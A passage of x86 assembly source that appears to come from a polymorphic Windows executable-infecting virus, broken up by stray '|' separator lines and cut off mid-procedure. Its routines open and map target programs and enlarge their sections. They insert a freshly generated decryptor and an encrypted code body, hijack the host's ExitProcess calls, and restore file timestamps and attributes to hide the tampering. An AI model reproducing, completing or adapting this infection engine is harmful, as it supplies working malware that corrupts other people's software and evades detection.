mov ecx, [ebx+4]
|
|
and ecx, 0FFFFh
|
|
cmp ecx, 014Ch
|
|
jz @@IA32
|
|
|
|
|
|
@@IA32: mov ecx, [ebx+6]
|
|
and ecx, 0FFFFh
|
|
|
|
mov edx, [ebx+14h]
|
|
and edx, 0FFFFh
|
|
add edx, 18h
|
|
add edx, ebx
|
|
mov [ebp+StartOfSectionHeaders], edx
|
|
xor eax, eax
|
|
mov [ebp+RelocHeader], eax
|
|
mov [ebp+TextHeader], eax
|
|
mov [ebp+DataHeader], eax
|
|
|
|
@@LoopSections:
|
|
mov eax, [edx]
|
|
mov esi, [edx+4]
|
|
cmp eax, 'ler.'
|
|
jnz @@LookForCode
|
|
cmp esi, 0+'co'
|
|
jnz @@NextSection
|
|
mov [ebp+RelocHeader], edx
|
|
jmp @@NextSection
|
|
@@LookForCode:
|
|
cmp eax, 'xet.'
|
|
jnz @@LookForCode2
|
|
cmp esi, 0+'t'
|
|
jnz @@NextSection
|
|
mov [ebp+TextHeader], edx
|
|
jmp @@NextSection
|
|
@@LookForCode2:
|
|
cmp eax, 'EDOC'
|
|
jnz @@LookForData
|
|
or esi, esi
|
|
jnz @@NextSection
|
|
mov [ebp+TextHeader], edx
|
|
jmp @@NextSection
|
|
@@LookForData:
|
|
cmp eax, 'tad.'
|
|
jnz @@LookForData2
|
|
cmp esi, 0+'a'
|
|
jnz @@NextSection
|
|
mov [ebp+DataHeader], edx
|
|
jmp @@NextSection
|
|
@@LookForData2:
|
|
cmp eax, 'ATAD'
|
|
jnz @@LookForData3
|
|
or esi, esi
|
|
jnz @@NextSection
|
|
mov [ebp+DataHeader], edx
|
|
jmp @@NextSection
|
|
@@LookForData3:
|
|
|
|
@@NextSection:
|
|
mov [ebp+LastHeader], edx
|
|
add edx, 28h
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopSections
|
|
|
|
xor eax, eax
|
|
mov [ebp+ExitProcessAddress], eax
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+TextHeader]
|
|
or eax, eax
|
|
jz @@Error
|
|
mov eax, [ebp+DataHeader]
|
|
or eax, eax
|
|
jz @@Error
|
|
mov eax, [ebp+RelocHeader]
|
|
or eax, eax
|
|
jz @@NoRelocs
|
|
|
|
mov eax, 3
|
|
call Random
|
|
and eax, 3
|
|
jz @@NoRelocs2
|
|
|
|
|
|
|
|
mov eax, [ebp+RelocHeader]
|
|
cmp eax, [ebp+LastHeader]
|
|
jnz @@Error
|
|
|
|
|
|
mov eax, 1
|
|
mov [ebp+MakingFirstHole], eax
|
|
mov esi, [ebp+TextHeader]
|
|
mov ecx, 2000h
|
|
call UpdateHeaders
|
|
|
|
|
|
|
|
|
|
mov [ebp+RVA_TextHole], edi
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov [ebp+TextHoleSize], ecx
|
|
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
|
|
|
|
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
|
|
mov ebx, [ebp+HeaderAddress]
|
|
add [ebx+1Ch], ecx
|
|
|
|
|
|
add [ebp+FileSize], ecx
|
|
|
|
xor eax, eax
|
|
mov [ebp+MakingFirstHole], eax
|
|
mov esi, [ebp+DataHeader]
|
|
mov ecx, [ebp+RoundedSizeOfNewCode]
|
|
call UpdateHeaders
|
|
mov [ebp+RVA_DataHole], edi
|
|
mov [ebp+Phys_DataHole], eax
|
|
|
|
mov ebx, [ebp+HeaderAddress]
|
|
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
add eax, [ebx+34h]
|
|
mov [ebp+ExitProcessAddress], eax
|
|
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
add eax, [ebx+34h]
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
add eax, [ebx+34h]
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
or eax, eax
|
|
jz @@DontAddBaseAddress
|
|
add eax, [ebp+34h]
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
@@DontAddBaseAddress:
|
|
add [ebx+20h], ecx
|
|
add [ebp+FileSize], ecx
|
|
|
|
mov esi, [ebp+RelocHeader]
|
|
mov eax, [esi+0Ch]
|
|
mov [ebx+50h], eax
|
|
|
|
mov edi, [esi+14h]
|
|
mov ecx, [ebp+FileSize]
|
|
sub ecx, edi
|
|
mov [ebp+FileSize], edi
|
|
|
|
|
|
|
|
add edi, [ebp+MappingAddress]
|
|
xor eax, eax
|
|
@@Loop0: call Random
|
|
and eax, 0FCh
|
|
mov [edi], eax
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@Loop0
|
|
xor eax, eax
|
|
mov ecx, 28h
|
|
@@Loop1: mov [esi], eax
|
|
add esi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@Loop1
|
|
|
|
mov [ebx+0A0h], eax
|
|
mov [ebx+0A4h], eax
|
|
|
|
mov eax, [ebx+06h]
|
|
sub eax, 1
|
|
mov [ebx+06h], eax
|
|
mov eax, [ebx+16h]
|
|
or eax, 1
|
|
mov [ebx+16h], eax
|
|
|
|
mov eax, 2000h
|
|
mov [ebp+MaxSizeOfDecryptor], eax
|
|
|
|
xor eax, eax
|
|
ret
|
|
@@Error:
|
|
mov eax, 1
|
|
ret
|
|
|
|
@@NoRelocs2:
|
|
xor eax, eax
|
|
mov [ebp+RelocHeader], eax
|
|
|
|
@@NoRelocs:
|
|
xor ecx, ecx
|
|
mov edx, -1
|
|
call UpdateImports
|
|
|
|
mov ecx, [ebp+HeaderAddress]
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
add eax, [ecx+34h]
|
|
mov [ebp+ExitProcessAddress], eax
|
|
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
add eax, [ecx+34h]
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax
|
|
jz @@Error
|
|
add eax, [ecx+34h]
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
or eax, eax
|
|
jz @@NoVirtualAlloc
|
|
add eax, [ecx+34h]
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
|
|
@@NoVirtualAlloc:
|
|
xor eax, eax
|
|
call Random
|
|
and eax, 07h
|
|
|
|
jz @@HoleAtLastSection
|
|
|
|
mov ebx, [ebp+TextHeader]
|
|
mov eax, [ebx+10h]
|
|
cmp eax, [ebx+08h]
|
|
jae @@CheckPaddingSpace
|
|
add eax, [ebx+14h]
|
|
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov eax, [ebx+10h]
|
|
add eax, [ebx+0Ch]
|
|
mov [ebp+RVA_TextHole], eax
|
|
|
|
mov eax, [ebx+08h]
|
|
sub eax, [ebx+10h]
|
|
cmp eax, 600h
|
|
jb @@HoleAtLastSection
|
|
cmp eax, 80000000h
|
|
ja @@Error
|
|
cmp eax, 2000h
|
|
jbe @@TextHoleSizeOK
|
|
mov eax, 2000h
|
|
@@TextHoleSizeOK:
|
|
mov [ebp+MaxSizeOfDecryptor], eax
|
|
mov edx, ebx
|
|
mov ecx, [ebp+LastHeader]
|
|
@@LoopAddPhysicalSize:
|
|
cmp edx, ebx
|
|
jz @@NextAddPhysicalSize
|
|
add [edx+14h], eax
|
|
@@NextAddPhysicalSize:
|
|
cmp edx, ecx
|
|
jz @@EndAddPhysicalSize
|
|
add edx, 28h
|
|
jmp @@LoopAddPhysicalSize
|
|
|
|
@@EndAddPhysicalSize:
|
|
mov edx, [ebp+MappingAddress]
|
|
mov edi, edx
|
|
add edx, [ebx+14h]
|
|
add edx, [ebx+10h]
|
|
add edi, [ebp+FileSize]
|
|
mov esi, edi
|
|
add edi, eax
|
|
add [ebx+10h], eax
|
|
mov eax, 2000h
|
|
add [ebp+FileSize], eax
|
|
@@LoopMakePhysicalHole:
|
|
call Random
|
|
and eax, 0FCh
|
|
sub edi, 4
|
|
sub esi, 4
|
|
mov eax, [esi]
|
|
mov [edi], eax
|
|
cmp edi, edx
|
|
jnz @@LoopMakePhysicalHole
|
|
jmp @@TextHoleMade
|
|
|
|
|
|
@@HoleAtLastSection:
|
|
mov ebx, [ebp+LastHeader]
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+0Ch]
|
|
mov [ebp+RVA_TextHole], eax
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+14h]
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov eax, 2000h
|
|
mov [ebp+MaxSizeOfDecryptor], eax
|
|
add [ebx+08h], eax
|
|
add [ebx+10h], eax
|
|
add [ebp+FileSize], eax
|
|
mov eax, [ebx+24h]
|
|
|
|
|
|
and eax, 0FDFFFFFFh
|
|
mov [ebx+24h], eax
|
|
|
|
jmp @@GetDataHole
|
|
|
|
|
|
@@CheckPaddingSpace:
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+0Ch]
|
|
mov [ebp+RVA_TextHole], eax
|
|
mov eax, [ebx+08h]
|
|
add eax, [ebx+14h]
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov eax, [ebx+10h]
|
|
sub eax, [ebx+08h]
|
|
mov [ebp+MaxSizeOfDecryptor], eax
|
|
cmp eax, 400h
|
|
jb @@HoleAtLastSection
|
|
mov ecx, eax
|
|
mov eax, [ebx+10h]
|
|
add eax, [ebx+0Ch]
|
|
cmp eax, [ebx+28h+0Ch]
|
|
ja @@Error
|
|
|
|
add [ebx+08h], ecx
|
|
|
|
|
|
@@TextHoleMade:
|
|
mov ecx, [ebp+MaxSizeOfDecryptor]
|
|
mov edi, [ebp+Phys_TextHole]
|
|
add edi, [ebp+MappingAddress]
|
|
xor eax, eax
|
|
and ecx, 0FFFFFFFCh
|
|
@@LoopFillHole:
|
|
call Random
|
|
and eax, 0FCh
|
|
mov [edi], eax
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopFillHole
|
|
|
|
mov eax, [ebx+08h]
|
|
mov esi, [ebp+HeaderAddress]
|
|
mov [esi+1Ch], eax
|
|
|
|
@@GetDataHole:
|
|
mov ebx, [ebp+LastHeader]
|
|
mov eax, [ebp+RoundedSizeOfNewCode]
|
|
add [ebp+FileSize], eax
|
|
mov ecx, [ebx+24h]
|
|
and ecx, 80000000h
|
|
or ecx, ecx
|
|
jnz @@Error
|
|
mov ecx, [ebx+10h]
|
|
add ecx, [ebx+14h]
|
|
mov [ebp+Phys_DataHole], ecx
|
|
mov ecx, [ebx+10h]
|
|
add ecx, [ebx+0Ch]
|
|
mov [ebp+RVA_DataHole], ecx
|
|
add eax, [ebx+10h]
|
|
mov [ebx+10h], eax
|
|
mov [ebx+08h], eax
|
|
|
|
@@AllHolesPrepared:
|
|
mov esi, [ebp+HeaderAddress]
|
|
mov eax, [ebx+0Ch]
|
|
add eax, [ebx+08h]
|
|
mov [esi+50h], eax
|
|
|
|
|
|
mov edx, [ebp+ExitProcessAddress]
|
|
mov ebx, [ebp+TextHeader]
|
|
mov esi, [ebx+14h]
|
|
add esi, [ebp+MappingAddress]
|
|
mov ecx, [ebx+10h]
|
|
sub ecx, 6
|
|
|
|
@@LoopFindExitProcess:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0FFh
|
|
jnz @@NextInstruction
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 25h
|
|
jz @@JMPMemFound
|
|
cmp eax, 15h
|
|
jnz @@NextInstruction
|
|
@@JMPMemFound:
|
|
mov eax, [esi+2]
|
|
cmp eax, edx
|
|
jnz @@NextInstruction
|
|
|
|
add esi, 2
|
|
push edx
|
|
mov edx, [ebp+HeaderAddress]
|
|
mov edx, [edx+34h]
|
|
add edx, [ebp+RVA_TextHole]
|
|
call PatchExitProcess
|
|
pop edx
|
|
add esi, 4
|
|
@@NextInstruction:
|
|
add esi, 1
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopFindExitProcess
|
|
|
|
xor eax, eax
|
|
ret
|
|
PrepareFile endp
|
|
|
|
TouchFile proc
|
|
mov [ebp+Addr_FilePath], edx
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
push edx
|
|
call dword ptr [ebp+RVA_GetFileAttributesA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, -1
|
|
jz @@Error_
|
|
mov [ebp+FileAttributes], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
push 80h
|
|
mov eax, [ebp+Addr_FilePath]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileAttributesA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error_
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
push 0
|
|
push 0
|
|
push 3
|
|
push 0
|
|
push 0
|
|
push 0C0000000h
|
|
push edx
|
|
call dword ptr [ebp+RVA_CreateFileA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, -1
|
|
jz @@Error
|
|
mov [ebp+hFile], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
push 0
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetFileSize]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2
|
|
mov [ebp+FileSize], eax
|
|
mov [ebp+OriginalFileSize], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
push 0
|
|
add eax, [ebp+RoundedSizeOfNewCode]
|
|
add eax, 2000h
|
|
push eax
|
|
push 0
|
|
push 4
|
|
push 0
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_CreateFileMappingA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2
|
|
mov [ebp+hMapping], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 0F001Fh
|
|
push eax
|
|
call dword ptr [ebp+RVA_MapViewOfFile]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error3
|
|
|
|
mov dword ptr [ebp+MappingAddress], eax
|
|
xor eax, eax
|
|
mov [ebp+NumberOfUndoActions], eax
|
|
|
|
call PrepareFile
|
|
or eax, eax
|
|
jnz @@Error4
|
|
|
|
mov ebx, [ebp+MappingAddress]
|
|
add ebx, [ebp+Phys_TextHole]
|
|
|
|
mov ecx, [ebp+MaxSizeOfDecryptor]
|
|
cmp ecx, 600h
|
|
jbe @@SetSizeOfExpansionTo0
|
|
mov eax, 1
|
|
call Random
|
|
and eax, 1
|
|
jz @@SetSizeOfExpansionTo0
|
|
|
|
|
|
mov eax, -1
|
|
jmp @@SetSizeOfExpansion
|
|
@@SetSizeOfExpansionTo0:
|
|
mov eax, 2
|
|
call Random
|
|
and eax, 1
|
|
jz @@SetSizeOfExpansionTo1
|
|
xor eax, eax
|
|
jmp @@SetSizeOfExpansion
|
|
@@SetSizeOfExpansionTo1:
|
|
mov eax, 1
|
|
@@SetSizeOfExpansion:
|
|
mov [ebp+SizeOfExpansion], eax
|
|
|
|
|
|
@@CheckWithOtherSizeOfExpansion:
|
|
mov ecx, 9
|
|
|
|
|
|
@@GenerateOther:
|
|
push ecx
|
|
mov edi, [ebp+DecryptorPseudoCode]
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
push eax
|
|
call MakeDecryptor
|
|
pop eax
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
pop ecx
|
|
sub ecx, 1
|
|
mov eax, [ebp+SizeOfDecryptor]
|
|
cmp eax, [ebp+MaxSizeOfDecryptor]
|
|
jbe @@SizeOfDecryptorOK
|
|
or ecx, ecx
|
|
jnz @@GenerateOther
|
|
mov eax, [ebp+SizeOfExpansion]
|
|
cmp eax, 2
|
|
jz @@InsertExitProcess
|
|
|
|
add eax, 1
|
|
mov [ebp+SizeOfExpansion], eax
|
|
jmp @@CheckWithOtherSizeOfExpansion
|
|
|
|
|
|
@@InsertExitProcess:
|
|
mov edi, [ebp+Phys_TextHole]
|
|
add edi, [ebp+MappingAddress]
|
|
mov eax, 6Ah
|
|
mov [edi], eax
|
|
add edi, 2
|
|
|
|
|
|
|
|
mov eax, 15FFh
|
|
mov [edi], eax
|
|
add edi, 2
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
mov [edi], eax
|
|
jmp @@Exit
|
|
|
|
@@SizeOfDecryptorOK:
|
|
mov esi, [ebp+AssembledDecryptor]
|
|
mov edi, [ebp+Phys_TextHole]
|
|
add edi, [ebp+MappingAddress]
|
|
mov ecx, [ebp+SizeOfDecryptor]
|
|
@@LoopCopyDecryptor:
|
|
mov eax, [esi]
|
|
mov [edi], eax
|
|
add esi, 1
|
|
add edi, 1
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopCopyDecryptor
|
|
|
|
mov edx, 30h
|
|
|
|
mov esi, [ebp+MaxSizeOfDecryptor]
|
|
sub esi, [ebp+SizeOfDecryptor]
|
|
and esi, 0FFFFFFFCh
|
|
or esi, esi
|
|
jz @@ContinueWithTheRest
|
|
@@CheckAgainThePossibility:
|
|
call Random
|
|
and eax, 0FCh
|
|
or eax, eax
|
|
jz @@CheckAgainThePossibility
|
|
sub edx, 1
|
|
|
|
cmp eax, esi
|
|
jb @@FillRandomBytes
|
|
or edx, edx
|
|
jnz @@CheckAgainThePossibility
|
|
jmp @@ContinueWithTheRest
|
|
@@FillRandomBytes:
|
|
mov ecx, eax
|
|
@@LoopFillRandomBytes:
|
|
call Random
|
|
mov [edi], eax
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopFillRandomBytes
|
|
|
|
@@ContinueWithTheRest:
|
|
mov edi, [ebp+MappingAddress]
|
|
add edi, [ebp+Phys_DataHole]
|
|
cmp edi, [ebp+MappingAddress]
|
|
jz @@Exit
|
|
mov edx, [ebp+TypeOfEncryption]
|
|
mov ebx, [ebp+EncryptionKey]
|
|
mov esi, [ebp+NewAssembledCode]
|
|
mov ecx, [ebp+SizeOfNewCode]
|
|
and ecx, 0FFFFFFFCh
|
|
add ecx, 4
|
|
@@LoopEncryptCode:
|
|
mov eax, [esi]
|
|
or ebx, ebx
|
|
jz @@NoEncryption
|
|
or edx, edx
|
|
jz @@ADDKey
|
|
cmp edx, 1
|
|
jz @@SUBKey
|
|
@@XORKey:
|
|
xor eax, ebx
|
|
jmp @@StoreDWORD
|
|
@@ADDKey:
|
|
add eax, ebx
|
|
jmp @@StoreDWORD
|
|
@@SUBKey:
|
|
sub eax, ebx
|
|
@@NoEncryption:
|
|
@@StoreDWORD:
|
|
mov [edi], eax
|
|
add esi, 4
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopEncryptCode
|
|
xor eax, eax
|
|
mov [edi], eax
|
|
|
|
@@Exit: mov ebx, [ebp+HeaderAddress]
|
|
call Random
|
|
and eax, 0FFFFFCh
|
|
mov [ebx+58h], eax
|
|
|
|
xor edi, edi
|
|
jmp @@NoError
|
|
|
|
|
|
@@Error4: call UndoChanges
|
|
mov edi, 1
|
|
|
|
@@NoError: push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+MappingAddress]
|
|
push eax
|
|
call dword ptr [ebp+RVA_UnmapViewOfFile]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
jmp @@NoError3
|
|
|
|
|
|
@@Error3: mov edi, 1
|
|
@@NoError3:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+hMapping]
|
|
push eax
|
|
call dword ptr [ebp+RVA_CloseHandle]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
jmp @@NoError2
|
|
|
|
@@Error2: mov edi, 1
|
|
@@NoError2:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
xor eax, eax
|
|
push eax
|
|
push eax
|
|
or edi, edi
|
|
jnz @@ThereWasAnError
|
|
mov eax, [ebp+FileSize]
|
|
jmp @@FixSize
|
|
@@ThereWasAnError:
|
|
mov eax, [ebp+OriginalFileSize]
|
|
@@FixSize: push eax
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFilePointer]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetEndOfFile]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
@@DontFixSize:
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, [ebp+FindFileData]
|
|
add eax, 14h
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileTime]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_CloseHandle]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
@@Error: push eax
|
|
push ecx
|
|
push edx
|
|
mov eax, [ebp+FileAttributes]
|
|
push eax
|
|
mov eax, [ebp+Addr_FilePath]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileAttributesA]
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
@@Error_: ret
|
|
TouchFile endp
|
|
|
|
|
|
UpdateArrayOfRVAs proc
|
|
or eax, eax
|
|
jz @@UpdateArray_OK
|
|
or edx, edx
|
|
jz @@UpdateArray_OK
|
|
push ebx
|
|
mov ebx, eax
|
|
call TranslateVirtualToPhysical
|
|
mov eax, ebx
|
|
pop ebx
|
|
or eax, eax
|
|
jz @@UpdateArray_Updated01
|
|
@@UpdateArrayLoop_01:
|
|
cmp [eax], edi
|
|
jb @@UpdateArray_Updated01
|
|
add [eax], ecx
|
|
@@UpdateArray_Updated01:
|
|
add eax, 4
|
|
dec edx
|
|
or edx, edx
|
|
jnz @@UpdateArrayLoop_01
|
|
@@UpdateArray_OK:
|
|
ret
|
|
UpdateArrayOfRVAs endp
|
|
|
|
UpdateHeaders proc
|
|
push ecx
|
|
mov eax, [ebp+MakingFirstHole]
|
|
or eax, eax
|
|
jz @@MakingDataHole
|
|
|
|
mov eax, [esi+10h]
|
|
cmp eax, [esi+08h]
|
|
jbe @@TextSizeOK
|
|
mov [esi+08h], eax
|
|
@@TextSizeOK:
|
|
mov edi, [esi+0Ch]
|
|
add edi, [esi+10h]
|
|
push edi
|
|
mov eax, [esi+14h]
|
|
add eax, [esi+10h]
|
|
push eax
|
|
jmp @@BeginUpdates
|
|
@@MakingDataHole:
|
|
mov edi, [esi+0Ch]
|
|
push edi
|
|
mov eax, [esi+14h]
|
|
push eax
|
|
|
|
@@BeginUpdates:
|
|
|
|
|
|
|
|
@@UpdateResources:
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov ebx, [eax+88h]
|
|
or ebx, ebx
|
|
jz @@UpdateImports
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@End
|
|
|
|
mov eax, [ebx+0Ch]
|
|
and eax, 0FFFFh
|
|
mov edx, [ebx+0Eh]
|
|
and edx, 0FFFFh
|
|
add edx, eax
|
|
or edx, edx
|
|
jz @@UpdateImports
|
|
|
|
|
|
mov eax, ebx
|
|
add eax, 10h
|
|
call UpdateResourceDir
|
|
|
|
@@UpdateImports:
|
|
call UpdateImports
|
|
|
|
|
|
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax
|
|
jz @@End
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax
|
|
jz @@End
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
or eax, eax
|
|
jz @@End
|
|
|
|
@@UpdateExports:
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov ebx, [eax+78h]
|
|
or ebx, ebx
|
|
jz @@ExportsUpdated
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@ExportsUpdated
|
|
mov eax, [ebx+0Ch]
|
|
cmp eax, edi
|
|
jb @@UpdateExportsOK_01
|
|
add [ebx+0Ch], ecx
|
|
@@UpdateExportsOK_01:
|
|
mov eax, [ebx+1Ch]
|
|
mov edx, [ebx+14h]
|
|
call UpdateArrayOfRVAs
|
|
mov eax, [ebx+1Ch]
|
|
cmp eax, edi
|
|
jb @@UpdateExportsOK_02
|
|
add [ebx+1Ch], ecx
|
|
@@UpdateExportsOK_02:
|
|
mov eax, [ebx+20h]
|
|
mov edx, [ebx+18h]
|
|
call UpdateArrayOfRVAs
|
|
mov eax, [ebx+20h]
|
|
cmp eax, edi
|
|
jb @@UpdateExportsOK_03
|
|
add [ebx+20h], ecx
|
|
@@UpdateExportsOK_03:
|
|
|
|
@@ExportsUpdated:
|
|
@@UpdateCodeSection:
|
|
push esi
|
|
mov eax, [ebp+RelocHeader]
|
|
mov eax, [eax+14h]
|
|
add eax, [ebp+MappingAddress]
|
|
@@LoopUpdate_00:
|
|
mov esi, [eax]
|
|
or esi, esi
|
|
jz @@AllUpdated
|
|
mov edx, 8
|
|
@@LoopUpdate_01:
|
|
cmp edx, [eax+4]
|
|
jae @@PageUpdated
|
|
|
|
add eax, edx
|
|
mov ebx, [eax]
|
|
sub eax, edx
|
|
and ebx, 0FFFFh
|
|
add edx, 2
|
|
cmp ebx, 2FFFh
|
|
jbe @@LoopUpdate_01
|
|
and ebx, 0FFFh
|
|
add ebx, [eax]
|
|
mov esi, [ebp+MakingFirstHole]
|
|
or esi, esi
|
|
jnz @@UpdateCodeSec_Cont00
|
|
cmp ebx, [ebp+RVA_TextHole]
|
|
jb @@UpdateCodeSec_Cont00
|
|
add ebx, [ebp+TextHoleSize]
|
|
@@UpdateCodeSec_Cont00:
|
|
call TranslateVirtualToPhysical
|
|
or ebx, ebx
|
|
jz @@LoopUpdate_01
|
|
push eax
|
|
push edx
|
|
mov eax, [ebp+HeaderAddress]
|
|
mov edx, [ebx]
|
|
sub edx, [eax+34h]
|
|
cmp edx, edi
|
|
jb @@TranslateOK_02
|
|
add [ebx], ecx
|
|
add edx, ecx
|
|
@@TranslateOK_02:
|
|
|
|
|
|
mov esi, [ebx-2]
|
|
and esi, 0FFFFh
|
|
cmp esi, 15FFh
|
|
jz @@CheckExitProcess
|
|
cmp esi, 25FFh
|
|
jnz @@ItsNotExitProcess
|
|
@@CheckExitProcess:
|
|
cmp edx, [ebp+ExitProcessAddress]
|
|
jnz @@ItsNotExitProcess
|
|
mov edx, [ebp+HeaderAddress]
|
|
mov edx, [edx+34h]
|
|
add edx, edi
|
|
push esi
|
|
mov esi, ebx
|
|
call PatchExitProcess
|
|
pop esi
|
|
|
|
xor eax, eax
|
|
|
|
pop edx
|
|
pop eax
|
|
|
|
push eax
|
|
add eax, edx
|
|
push edx
|
|
mov edx, [eax-2]
|
|
and edx, 0FFFF0000h
|
|
mov [eax-2], edx
|
|
pop edx
|
|
pop eax
|
|
jmp @@LoopUpdate_01
|
|
@@ItsNotExitProcess:
|
|
@@TranslateOK:
|
|
pop edx
|
|
pop eax
|
|
jmp @@LoopUpdate_01
|
|
@@PageUpdated:
|
|
add eax, [eax+4]
|
|
jmp @@LoopUpdate_00
|
|
@@AllUpdated:
|
|
pop esi
|
|
|
|
mov eax, [ebp+MakingFirstHole]
|
|
mov ebx, [ebp+HeaderAddress]
|
|
cmp [ebx+0Ch], edi
|
|
jb @@Fixed_01
|
|
or eax, eax
|
|
jnz @@NotFixed_01
|
|
cmp [ebx+0Ch], edi
|
|
jz @@Fixed_01
|
|
@@NotFixed_01:
|
|
add [ebx+0Ch], ecx
|
|
@@Fixed_01:
|
|
cmp [ebx+28h], edi
|
|
jb @@Fixed_02
|
|
or eax, eax
|
|
jnz @@NotFixed_02
|
|
cmp [ebx+28h], edi
|
|
jz @@Fixed_02
|
|
@@NotFixed_02:
|
|
add [ebx+28h], ecx
|
|
@@Fixed_02:
|
|
cmp [ebx+2Ch], edi
|
|
jb @@Fixed_03
|
|
or eax, eax
|
|
jnz @@NotFixed_03
|
|
cmp [ebx+2Ch], edi
|
|
jz @@Fixed_03
|
|
@@NotFixed_03:
|
|
add [ebx+2Ch], ecx
|
|
@@Fixed_03:
|
|
cmp [ebx+30h], edi
|
|
jb @@Fixed_04
|
|
or eax, eax
